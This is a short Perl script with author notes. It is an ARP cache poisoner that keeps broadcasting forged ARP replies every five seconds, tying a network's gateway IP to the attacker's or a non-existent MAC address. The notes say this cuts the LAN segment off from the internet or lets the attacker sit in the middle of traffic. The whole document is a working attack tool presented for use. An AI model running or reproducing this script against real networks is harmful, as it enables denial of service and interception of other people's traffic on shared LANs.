#!usr/bin/perl use Net::ARP; use strict; use warnings; for (;;){ Net::ARP::send_packet( 'eth0', # Device '192.168.12.1', # Source IP (my gateway) '192.168.12.255', # Destination IP '00:1E:EC:9F:DB:67', # Source MAC 'FF:FF:FF:FF:FF:FF', # Destinaton MAC 'reply' # ARP operation ); print "packet sent\n"; sleep(5); } __END__ arp poisoner map a totally working IP to a non-existent MAC or your own MAC in this case am using my own MAC and broadcast it the IP can be of the default gateway (192.168.12.1 in this case) WORKING: the other systems ARP caches will update themselves every 5 seconds. the update would tell them the false MAC address of the gateway and the data sent will be dumped and it will cause a DoS on the network. since the MAC is non-existing therefore the LAN segment will be cut off from the internet, if the MAC is our own then we can attempt a man-in-the-middle attack or again cause a DoS